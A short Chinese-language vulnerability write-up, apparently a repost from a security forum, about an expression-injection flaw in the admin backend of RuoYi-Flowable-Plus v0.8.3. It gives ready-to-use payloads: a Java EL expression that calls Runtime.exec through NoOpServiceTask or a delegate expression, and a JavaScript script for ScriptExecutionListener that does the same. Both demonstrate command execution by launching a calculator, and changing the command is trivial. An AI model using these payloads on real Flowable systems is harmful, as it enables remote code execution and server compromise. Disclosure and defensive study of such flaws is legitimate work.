RuoYi-Flowable-Plus 0day表达式注入

使用版本:v0.8.3
下载地址:https://gitee.com/KonBAI-Q/ruoyi-flowable-plus
此系统为若依二开的,添加了Flowable流程引擎,后台存在表达式注入。
(Flowable是一个使用Java编写的轻量级业务流程引擎)

利用方式

方法一(使用java类):

条件:

1.需要公共无参构造函数(因为使用了newinstance来实列化)
2.需要实现JavaDelegate接口,存在excute函数

实现条件:

类一:
org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式: ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}

类二:
org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
添加一下两个变量,选择表达式,
script:var System = java.lang.Runtime.getRuntime().exec("calc");
language:js

方法二 (使用表达式或者代理表达式):

${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}

POC

暂无

EXP

暂无

来源:

先知社区:https://xz.aliyun.com/t/14532?time__1311=mqmx9QKQqGwfD%2FD0Dx2DUE4foope%3Dp3ox&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1


你该如何回忆我,带着笑或是沉默